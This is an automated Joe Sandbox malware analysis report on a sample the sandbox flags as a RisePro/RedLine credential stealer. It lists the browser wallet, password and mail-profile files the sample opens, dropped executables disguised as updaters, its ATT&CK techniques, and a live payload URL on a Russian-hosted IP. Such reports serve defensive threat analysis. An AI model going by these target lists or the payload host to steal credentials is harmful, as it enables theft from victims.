Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\signons.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2335364772.00000000077EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\9VicU2EcsIoeWuNiSqblWRg.zip, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	22 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Create Account	411 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	47 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	111 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\l2[1].exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	66%	ReversingLabs	Win32.Trojan.RedLine

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ipinfo.io/Mozilla/5.0	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://www.maxmind.com/en/locate-my-ip-address	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.winimage.com/zLibDll	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://t.;k	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORTNOq	0%	Avira URL Cloud	safe
https://db-ip.com/4	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/illegal	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://github.com/golang/protobuf/issues/1609):	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.175	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT	0%	Avira URL Cloud	safe
https://login.microsoftonline.us/indefinite	0%	Avira URL Cloud	safe
http://185.172.128.82/server/k/l2.exe:(	0%	Avira URL Cloud	safe
https://db-ip.com:443/demo/home.php?s=8.46.123.175	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictin	0%	Avira URL Cloud	safe
https://t.me/risepro_bot	0%	Avira URL Cloud	safe
https://login.chinacloudapi.cn/in	0%	Avira URL Cloud	safe
https://t.me/risepro_botisepro_bot	0%	Avira URL Cloud	safe
http://ns.adobe.0/g/ima:0m	0%	Avira URL Cloud	safe
https://ipinfo.io/widget/demo/8.46.123.175	0%	Avira URL Cloud	safe
https://db-ip.com/demo/home.php?s=8.46.123.175AS3356	0%	Avira URL Cloud	safe
http://185.172.128.82/server/k/l2.exe	0%	Avira URL Cloud	safe
https://db-ip.com/demo/home.php?s=8.46.123.175	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false		unknown
db-ip.com	172.67.75.166	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/widget/demo/8.46.123.175	false	Avira URL Cloud: safe	unknown
http://185.172.128.82/server/k/l2.exe	true	Avira URL Cloud: safe	unknown
https://db-ip.com/demo/home.php?s=8.46.123.175	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.175	BitLockerToGo.exe, 00000003.00000002.4555474593.0000000003191000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORTNOq	BitLockerToGo.exe, 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	false	URL Reputation: safe	unknown
https://t.;k	BitLockerToGo.exe, 00000003.00000002.4555474593.00000000031A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/golang/protobuf/issues/1609):	file.exe	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/illegal	file.exe	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	file.exe, 00000000.00000003.2184349872.0000019161650000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264717201.000000C000A1A000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C001400000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256735049.00000191614B0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	Avira URL Cloud: safe	unknown
https://db-ip.com/4	BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT	BitLockerToGo.exe, 00000003.00000002.4555474593.00000000030E8000.00000004.00000020.00020000.00000000.sdmp, 9VicU2EcsIoeWuNiSqblWRg.zip.3.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	URL Reputation: safe	unknown
https://protobuf.dev/reference/go/faq#namespace-conflictin	file.exe	false	Avira URL Cloud: safe	unknown
http://185.172.128.82/server/k/l2.exe:(	BitLockerToGo.exe, 00000003.00000003.3323243093.00000000074D5000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2428053387.00000000074D4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4564079502.00000000074D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	URL Reputation: safe	unknown
https://ipinfo.io/Mozilla/5.0	BitLockerToGo.exe, 00000003.00000002.4555474593.0000000003191000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	D87fZN3R3jFeplaces.sqlite.3.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_bot	BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.3.dr	false	Avira URL Cloud: safe	unknown
https://db-ip.com:443/demo/home.php?s=8.46.123.175	BitLockerToGo.exe, 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	BitLockerToGo.exe, 00000003.00000002.4555474593.000000000311F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.us/indefinite	file.exe	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	D87fZN3R3jFeplaces.sqlite.3.dr	false	URL Reputation: safe	unknown
https://login.chinacloudapi.cn/in	file.exe	false	Avira URL Cloud: safe	unknown
https://www.maxmind.com/en/locate-my-ip-address	BitLockerToGo.exe	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	URL Reputation: safe	unknown
http://ns.adobe.0/g/ima:0m	BitLockerToGo.exe, 00000003.00000002.4565512563.00000000076E0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2330090968.00000000076D1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/risepro_botisepro_bot	BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	file.exe, 00000000.00000003.2184349872.0000019161650000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264717201.000000C000A1A000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C001400000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256735049.00000191614B0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, BitLockerToGo.exe, 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org	D87fZN3R3jFeplaces.sqlite.3.dr	false	URL Reputation: safe	unknown
https://db-ip.com/demo/home.php?s=8.46.123.175AS3356	BitLockerToGo.exe, 00000003.00000002.4555474593.00000000031A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.172.128.82	unknown	Russian Federation	50916	NADYMSS-ASRU	true
185.172.128.136	unknown	Russian Federation	50916	NADYMSS-ASRU	true
172.67.75.166	db-ip.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1445936
Start date and time:	2024-05-22 20:05:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@26/30@2/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 20 Number of non-executed functions: 61
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 4576 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
